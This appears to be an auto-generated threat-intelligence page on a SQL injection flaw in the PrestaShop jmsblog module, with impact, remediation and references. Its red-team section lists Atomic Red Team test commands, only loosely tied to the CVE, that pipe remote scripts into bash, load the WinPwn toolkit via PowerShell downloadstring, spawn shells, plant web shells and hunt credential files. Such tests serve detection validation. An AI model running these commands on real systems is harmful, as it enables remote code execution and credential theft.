CVE-2023-27034
Overview
The vulnerability is a SQL injection rooted in improper sanitization of user-supplied input within the jmsblog module for PrestaShop versions 2.5.5 and 2.5.6. This flaw arises from unsafe construction of SQL queries that incorporate untrusted parameters without adequate validation or parameterization, allowing direct manipulation of database commands. The affected component is the jmsblog module's data handling routines responsible for processing input used in database queries.
Vulnerability Description
PrestaShop jmsblog 2.5.5 was discovered to contain a SQL injection vulnerability.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL commands on the backend database, potentially leading to unauthorized data disclosure, modification, or deletion. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms no authentication or user interaction is required, increasing the attack surface. Successful exploitation can result in compromise of sensitive information stored in the PrestaShop environment and undermine data integrity, impacting business operations and customer trust.
Solution
Users should upgrade the jmsblog module to version 2.5.7 or later, where the SQL injection vulnerability has been addressed. The official security advisory published by friends-of-presta (https://friends-of-presta.github.io/security-advisories/modules/2023/03/13/jmsblog.html) provides detailed patch instructions and version recommendations. Applying the vendor-provided update is the primary remediation step; no alternative mitigations are documented in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The SQL injection vulnerability present in the jmsblog module for PrestaShop versions 2.5.5 and 2.5.6 allows attackers to manipulate database queries through unsanitized user inputs. This flaw arises when the application fails to properly validate or escape input data before incorporating it into SQL statements. As a result, an attacker can craft malicious input that alters the intended SQL query, potentially leading to unauthorized access to sensitive data, data manipulation, or even complete database compromise. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk to affected systems.
Attack vectors for this vulnerability are varied, with the most straightforward being direct exploitation through web forms or URL parameters that interact with the database. For instance, an attacker could submit specially crafted input in a search field or a comment section, which the application would then execute as part of a SQL query. This could allow the attacker to retrieve sensitive information such as user credentials, payment details, or other confidential data stored in the database. Moreover, if the attacker has sufficient privileges, they could escalate their access to perform administrative functions, leading to further exploitation of the system.
The real-world impact of this vulnerability can be significant, particularly for e-commerce platforms relying on PrestaShop and its jmsblog module. Successful exploitation could result in data breaches, loss of customer trust, and potential financial repercussions due to regulatory fines or loss of business. The ability to manipulate or exfiltrate data can lead to identity theft or fraud, affecting not only the business but also its customers. Additionally, the reputational damage from such incidents can have long-lasting effects, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this SQL injection vulnerability, organizations should implement a multi-layered security approach. First, regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate vulnerabilities in the application. Employing web application firewalls (WAFs) can also provide an additional layer of protection by filtering out malicious traffic before it reaches the application. Furthermore, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to ensure that user inputs are properly sanitized. Regularly updating and patching the affected jmsblog module is crucial to protect against known vulnerabilities and reduce the attack surface.
In conclusion, the SQL injection vulnerability in the jmsblog module for PrestaShop poses a critical risk to organizations utilizing this software. The potential for data breaches and the associated business risks necessitate immediate attention to detection and mitigation strategies. By adopting proactive security measures and maintaining a strong security posture, organizations can significantly reduce their exposure to such vulnerabilities and safeguard their data and customer trust.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-27034, with our sensors registering initial new sightings after a period of dormancy. This resurgence signals that threat actors may be actively probing or attempting to exploit the SQL injection vulnerability in the Joommasters Jms Blog module. Although no new exploit variants or proof-of-concept codes have surfaced, the stable yet elevated EPSS score underscores sustained exploitability and attacker interest. For defenders, this uptick highlights an increased likelihood of targeted reconnaissance or exploitation attempts, necessitating heightened vigilance in monitoring and response. Consequently, the threat level for organizations using the affected module has risen from latent to active, reflecting a transition from theoretical risk to emerging operational threat.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Joommasters | Jms Blog | 2.5.5 |
cpe:2.3:a:joommasters:jms_blog:2.5.5:*:*:*:*:prestashop:*:*
|
|
|
Joommasters | Jms Blog | 2.5.6 |
cpe:2.3:a:joommasters:jms_blog:2.5.6:*:*:*:*:prestashop:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27034 |
| friends-of-presta.github.io |
GitHub CVE
|
https://friends-of-presta.github.io/security-advisories/modules/2023/03/13/jmsblog.html |